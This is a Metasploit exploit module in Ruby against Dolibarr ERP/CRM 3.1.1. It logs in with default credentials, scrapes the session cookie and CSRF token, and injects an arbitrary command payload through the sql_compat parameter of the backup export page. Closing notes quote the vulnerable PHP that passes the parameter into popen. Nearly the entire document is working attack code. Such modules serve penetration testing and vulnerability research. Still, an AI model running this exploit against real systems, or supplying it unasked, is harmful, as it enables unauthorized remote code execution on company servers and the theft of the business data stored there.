## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "Dolibarr ERP/CRM Post-Auth OS Command Injection", 'Description' => %q{ This module exploits a vulnerability found in Dolibarr ERP/CRM 3's backup feature. This software is used to manage a company's business information such as contacts, invoices, orders, stocks, agenda, etc. When processing a database backup request, the export.php function does not check the input given to the sql_compat parameter, which allows a remote authenticated attacker to inject system commands into it, and then gain arbitrary code execution. }, 'License' => MSF_LICENSE, 'Author' => [ 'Nahuel Grisolia ', #Discovery, PoC 'sinn3r' #Metasploit ], 'References' => [ ['OSVDB', '80980'], ['URL', 'http://seclists.org/fulldisclosure/2012/Apr/78'] ], 'Arch' => ARCH_CMD, 'Compat' => { 'PayloadType' => 'cmd' }, 'Platform' => %w{ linux unix }, 'Targets' => [ # Older versions are probably also vulnerable according to # Nahuel's report on full disclosure ['Dolibarr 3.1.1 on Linux', {}] ], 'Privileged' => false, 'DisclosureDate' => "Apr 6 2012", 'DefaultTarget' => 0)) register_options( [ OptString.new('USERNAME', [true, 'Dolibarr Username', 'admin']), OptString.new('PASSWORD', [true, 'Dolibarr Password', 'test']), OptString.new('TARGETURI', [true, 'The URI path to dolibarr', '/dolibarr/']) ]) end def check uri = normalize_uri(target_uri.path) uri << '/' if uri[-1,1] != '/' res = send_request_raw({ 'method' => 'GET', 'uri' => uri }) if res and res.body =~ /Dolibarr 3\.1\.1/ return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end end def get_sid_token res = send_request_raw({ 'method' => 'GET', 'uri' => @uri.path }) return [nil, nil] if res.nil? || res.get_cookies.empty? # Get the session ID from the cookie m = res.get_cookies.match(/(DOLSESSID_.+);/) id = (m.nil?) ? nil : m[1] # Get the token from the decompressed HTTP body response m = res.body.match(/type="hidden" name="token" value="(.+)"/) token = (m.nil?) ? nil : m[1] return id, token end def login(sid, token) res = send_request_cgi({ 'method' => 'POST', 'uri' => "#{@uri.path}index.php", 'cookie' => sid, 'vars_post' => { 'token' => token, 'loginfunction' => 'loginfunction', 'tz' => '-6', 'dst' => '1', 'screenwidth' => '1093', 'screenheight' => '842', 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] } }) location = res.headers['Location'] return (location =~ /admin\//) end def exploit @uri = target_uri @uri.path << "/" if @uri.path[-1, 1] != "/" peer = "#{rhost}:#{rport}" print_status("Getting the sid and token...") sid, token = get_sid_token if sid.nil? print_error("Unable to retrieve a session ID") return elsif token.nil? print_error("Unable to retrieve a token") return end user = datastore['USERNAME'] pass = datastore['PASSWORD'] print_status("Attempt to login with \"#{user}:#{pass}\"") success = login(sid, token) if not success print_error("Unable to login") return end print_status("Sending malicious request...") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(@uri.path, "admin/tools/export.php"), 'cookie' => sid, 'vars_post' => { 'token' => token, 'export_type' => 'server', 'what' => 'mysql', 'mysqldump' => '/usr/bin/mysqldump', 'use_transaction' => 'yes', 'disable_fk' => 'yes', 'sql_compat' => ";#{payload.encoded};", 'sql_structure' => 'structure', 'drop' => '1', 'sql_data' => 'data', 'showcolumns' => 'yes', 'extended_ins' => 'yes', 'delayed' => 'yes', 'sql_ignore' => 'yes', 'hexforbinary' => 'yes', 'filename_template' => 'mysqldump_dolibarrdebian_3.1.1_201203231716.sql', 'compression' => 'none' } }) end end =begin Notes: 114 if ($_POST["sql_compat"] && $_POST["sql_compat"] != 'NONE') $param.=" --compatible=".$_POST["sql_compat"]; ... 137 $paramcrypted=$param; ... 159 $fullcommandcrypted=$command." ".$paramcrypted." 2>&1"; ... 165 if ($handle) 166 { .... 169 $handlein = popen($fullcommandclear, 'r'); .... 185 } =end